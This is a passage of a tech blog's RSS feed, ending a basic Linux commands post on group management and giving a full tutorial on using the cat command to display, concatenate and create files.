<pre class="terminal"><code class="terminal-line">groupadd mygroup</code></pre>
<p>To remove a group use the&nbsp;<code>groupdel</code>&nbsp;command with the group name as argument:</p>
<pre class="terminal"><code class="terminal-line">groupdel mygroup</code></pre>
<h3 id="adding-users-to-groups-usermod-command">Adding users to groups (<code>usermod</code>&nbsp;Command)</h3>
<p>To add an existing user to a group, use the&nbsp;<code>usermod</code>&nbsp;command followed by the&nbsp;<code>-G</code>&nbsp;option and the name of the group:</p>
<pre class="terminal"><code class="terminal-line">usermod -a -G sudo linuxize</code></pre>
<h2 id="conclusion">Conclusion</h2>
<p>We have covered some of the most used Gnu/Linux commands.</p>
<p>Although you can perform most of the development and system-related tasks using a graphical interface, the command line makes you more productive and able to get more done in less time.</p>
<p>The post <a href="http://kostacipo.stream/basic-linux-commands/">Basic Linux Commands</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/basic-linux-commands/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Cat Command in Linux</title>
		<link>http://kostacipo.stream/cat-command-in-linux/</link>
					<comments>http://kostacipo.stream/cat-command-in-linux/#respond</comments>
		
		<dc:creator><![CDATA[Majordomo]]></dc:creator>
		<pubDate>Fri, 24 Jan 2020 15:49:48 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[linux]]></category>
		<guid isPermaLink="false">http://www.kostacipo.stream/?p=1702</guid>

					<description><![CDATA[<p>&#160; The cat command is one of the most widely used commands in Linux. The name of the&#160;cat&#160;command comes from its functionality to concatenate files. It can read and concatenate files, writing their contents to the standard output. If no file is specified or if the input file name is specified as a single hyphen [&#8230;]</p>
<p>The post <a href="http://kostacipo.stream/cat-command-in-linux/">Cat Command in Linux</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>&nbsp;</p>
<p>The cat command is one of the most widely used commands in Linux. The name of the&nbsp;<code>cat</code>&nbsp;command comes from its functionality to con<strong>cat</strong>enate files. It can read and concatenate files, writing their contents to the standard output. If no file is specified or if the input file name is specified as a single hyphen (<code>-</code>) it reads from the standard input.</p>
<p>Cat is most commonly used to display the contents of one or multiple text files, combine files by appending the contents of one file to the end of another file, and create new files.<span id="ezoic-pub-ad-placeholder-158" class="ezoic-adpicker-ad"></span></p>
<p>In this tutorial, we will show you how to use the cat command through practical examples.<span id="ezoic-pub-ad-placeholder-138" class="ezoic-adpicker-ad"></span></p>
<h2 id="cat-command-syntax">Cat Command Syntax</h2>
<p>Before going into how to use the cat command, let&#8217;s start by reviewing the basic syntax.</p>
<p>The cat utility expressions take the following form:<span id="ezoic-pub-ad-placeholder-139" class="ezoic-adpicker-ad"></span></p>
<div class="highlight">
<pre class="chroma"><code class="language-sh" data-lang="sh">cat <span class="o">[</span>OPTIONS<span class="o">]</span> <span class="o">[</span>FILE_NAMES<span class="o">]</span>
</code></pre>
<p><span class="code-copy button main small" data-clipboard-text="cat [OPTIONS] [FILE_NAMES]
">Copy</span></div>
<ul>
<li><code>OPTIONS</code>&nbsp;&#8211;&nbsp;<a href="http://man7.org/linux/man-pages/man1/cat.1.html">cat options</a>. Use&nbsp;<code>cat --help</code>&nbsp;to view all available options.</li>
<li><code>FILE_NAMES</code>&nbsp;&#8211; Zero or more file names.</li>
</ul>
<h2 id="displaying-file-contents">Displaying File Contents</h2>
<p>The most basic and common usage of the cat command is to read the contents of files.<span id="ezoic-pub-ad-placeholder-156" class="ezoic-adpicker-ad"></span></p>
<p><span id="ezoic-pub-ad-placeholder-159" class="ezoic-adpicker-ad"></span>For example, the following command will display the contents of the&nbsp;<code>/etc/issue</code>&nbsp;file in the terminal:<span id="ezoic-pub-ad-placeholder-140" class="ezoic-adpicker-ad"></span></p>
<pre class="terminal"><code class="terminal-line">cat /etc/issue</code></pre>
<figure class="relative">
<div class="w-full mx-auto my-0 block relative">
<div class="block">&nbsp;</div>
<div class="w-full h-full absolute inset-0 m-auto overflow-hidden text-center"><img decoding="async" class="medium-zoom-image lazyautosizes lazyloaded" src="https://linuxize.com/post/linux-cat-command/cat-display-contents-of-file_hu6b353ba250a52d79df2e8b90d908c03f_18918_600x0_resize_q75_box.jpg" sizes="732px" srcset="
              /post/linux-cat-command/cat-display-contents-of-file_hu6b353ba250a52d79df2e8b90d908c03f_18918_600x0_resize_q75_box.jpg 600w,
              /post/linux-cat-command/cat-display-contents-of-file.jpg 1000w
            " alt="" data-sizes="auto" data-src="/post/linux-cat-command/cat-display-contents-of-file_hu6b353ba250a52d79df2e8b90d908c03f_18918_600x0_resize_q75_box.jpg" data-srcset="
              /post/linux-cat-command/cat-display-contents-of-file_hu6b353ba250a52d79df2e8b90d908c03f_18918_600x0_resize_q75_box.jpg 600w,
              /post/linux-cat-command/cat-display-contents-of-file.jpg 1000w
            " data-action="zoom"></div>
</div>
</figure>
<h3 id="redirect-contents-of-file">Redirect Contents of File</h3>
<p>Instead of displaying the output to stdout (on the screen) you can redirect it to a file.</p>
<p>The following command will copy the contents of&nbsp;<code>file1.txt</code>&nbsp;to&nbsp;<code>file2.txt</code>&nbsp;using the (<code>&gt;</code>) operator :</p>
<pre class="terminal"><code class="terminal-line">cat file1.txt &gt; file2.txt</code></pre>
<div class="my-6 bg-yellow-100 border-l-4 border-yellow-400 dark:bg-gray-800 dark:border-0 dark:text-yellow-200 note p-6">
<div class="flex">
<div class="w-full text-sm font-sans">Normally you would use the&nbsp;<a href="https://linuxize.com/post/cp-command-in-linux/"><code>cp</code></a>&nbsp;command to copy a file.</div>
</div>
</div>
<p>If the&nbsp;<code>file2.txt</code>&nbsp;file doesn&#8217;t exist, the command will create it. Otherwise, it will overwrite the file.</p>
<p>Use the (<code>&gt;&gt;</code>) operator to&nbsp;append the contents&nbsp;of&nbsp;<code>file1.txt</code>&nbsp;to&nbsp;<code>file2.txt</code>&nbsp;:</p>
<pre class="terminal"><code class="terminal-line">cat file1.txt &gt;&gt; file2.txt</code></pre>
<p>Same as before, if the file is not present, it will be created.<span id="ezoic-pub-ad-placeholder-142" class="ezoic-adpicker-ad"></span></p>
<h3 id="print-line-numbers">Print Line Numbers</h3>
<p>To display contents of a file with line numbers, use the&nbsp;<code>-n</code>&nbsp;option:<span id="ezoic-pub-ad-placeholder-160" class="ezoic-adpicker-ad"></span></p>
<pre class="terminal"><code class="terminal-line">cat -n /etc/lsb-release</code></pre>
<pre><code class="language-output" data-lang="output">1	DISTRIB_ID=Ubuntu
2	DISTRIB_RELEASE=18.04
3	DISTRIB_CODENAME=bionic
4	DISTRIB_DESCRIPTION="Ubuntu 18.04.1 LTS"
</code></pre>
<h3 id="suppress-repeated-empty-lines">Suppress Repeated Empty Lines</h3>
<p>Use the&nbsp;<code>-s</code>&nbsp;option to omit the repeated empty output lines:</p>
<pre class="terminal"><code class="terminal-line">cat -s file.txt</code></pre>
<h3 id="display-tab-characters">Display TAB characters</h3>
<p>The&nbsp;<code>-T</code>&nbsp;option allows you to visually distinguish between tabs and spaces.</p>
<pre class="terminal"><code class="terminal-line">cat -T /etc/hosts</code></pre>
<pre><code class="language-output" data-lang="output">127.0.0.1^Ilocalhost
127.0.1.1^Iubuntu1804.localdomain
</code></pre>
<p>The TAB characters will be displayed as&nbsp;<code>^I</code>.<span id="ezoic-pub-ad-placeholder-143" class="ezoic-adpicker-ad"></span></p>
<h3 id="display-end-of-lines">Display End of Lines</h3>
<p><span id="ezoic-pub-ad-placeholder-161" class="ezoic-adpicker-ad"></span>To display the invisible line ending character use the&nbsp;<code>-e</code>&nbsp;argument:</p>
<pre class="terminal"><code class="terminal-line">cat -e /etc/lsb-release</code></pre>
<pre><code class="language-output" data-lang="output">DISTRIB_ID=Ubuntu$
DISTRIB_RELEASE=18.04$
DISTRIB_CODENAME=bionic$
DISTRIB_DESCRIPTION="Ubuntu 18.04.1 LTS"$
</code></pre>
<p>The Line endings will be displayed as&nbsp;<code>$</code>.</p>
<h2 id="concatenating-files">Concatenating Files</h2>
<p>When passing two or more file names as arguments to the&nbsp;<code>cat</code>&nbsp;command the contents of the files will be concatenated.&nbsp;<code>cat</code>&nbsp;reads the files in the sequence given in its arguments and displays the file&#8217;s contents in the same sequence.<span id="ezoic-pub-ad-placeholder-144" class="ezoic-adpicker-ad"></span></p>
<p>For example, the following command will read the contents of&nbsp;<code>file1.txt</code>&nbsp;and&nbsp;<code>file2.txt</code>&nbsp;and display the result in the terminal:</p>
<pre class="terminal"><code class="terminal-line">cat file1.txt file2.txt</code></pre>
<p>You can concatenate two or more text files and write them to a file.<span id="ezoic-pub-ad-placeholder-157" class="ezoic-adpicker-ad"></span></p>
<p>The following command will concatenate the contents of&nbsp;<code>file1.txt</code>&nbsp;and&nbsp;<code>file2.txt</code>&nbsp;and write them to a new file&nbsp;<code>combinedfile.txt</code>&nbsp;using the (<code>&gt;</code>) operator :<span id="ezoic-pub-ad-placeholder-145" class="ezoic-adpicker-ad"></span></p>
<pre class="terminal"><code class="terminal-line">cat file1.txt file2.txt &gt; combinedfile.txt</code></pre>
<p>If the&nbsp;<code>combinedfile.txt</code>&nbsp;file doesn&#8217;t exist, the command will create it. Otherwise, it will overwrite the file.</p>
<p>To concatenate the contents of&nbsp;<code>file1.txt</code>&nbsp;and&nbsp;<code>file2.txt</code>&nbsp;and append the result to&nbsp;<code>file3.txt</code>&nbsp;to use the (<code>&gt;&gt;</code>) operator:</p>
<pre class="terminal"><code class="terminal-line">cat file1.txt file2.txt &gt;&gt; file3.txt</code></pre>
<p>If the file is not present, it will be created.</p>
<p>When concatenating files with&nbsp;<code>cat</code>, you can use the same arguments as shown in the previous section.<span id="ezoic-pub-ad-placeholder-146" class="ezoic-adpicker-ad"></span></p>
<h2 id="creating-files">Creating Files</h2>
<p>Creating small files with&nbsp;<code>cat</code>&nbsp;it often easier than opening a text editor such as&nbsp;nano, Vim,&nbsp;Sublime Text&nbsp;or&nbsp;Visual Studio Code.</p>
<p>To create a new file, use the&nbsp;<code>cat</code>&nbsp;command followed by the redirection operator (<code>&gt;</code>) and the name of the file you want to create. Press&nbsp;<code>Enter</code>, type the text and once you are done, press the&nbsp;<code>CRTL+D</code>&nbsp;to save the file.</p>
<p>In the following example, we are creating a new file named&nbsp;<code>file1.txt</code>:</p>
<pre class="terminal"><code class="terminal-line">cat &gt; file1.txt</code></pre>
<figure class="relative">
<div class="w-full mx-auto my-0 block relative">
<div class="block">&nbsp;</div>
<div class="w-full h-full absolute inset-0 m-auto overflow-hidden text-center">&nbsp;</div>
</div>
</figure>
<p>If a file named&nbsp;<code>file1.txt</code>&nbsp;is present, it will be overwritten. Use the ‘<code>&gt;&gt;</code>’ operator to append the output to an existing file.</p>
<pre class="terminal"><code class="terminal-line">cat &gt;&gt; file1.txt</code></pre>
<h2 id="conclusion">Conclusion</h2>
<p>The&nbsp;<code>cat</code>&nbsp;command can display, combine and create new file.<span id="ezoic-pub-ad-placeholder-147" class="ezoic-adpicker-ad"></span></p>
<p>If you have any questions or feedback, feel free to leave a comment.</p>
<p>The post <a href="http://kostacipo.stream/cat-command-in-linux/">Cat Command in Linux</a> appeared first on <a href="http://kostacipo.stream">Tech Chronicles</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>http://kostacipo.stream/cat-command-in-linux/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
	</channel>
</rss>
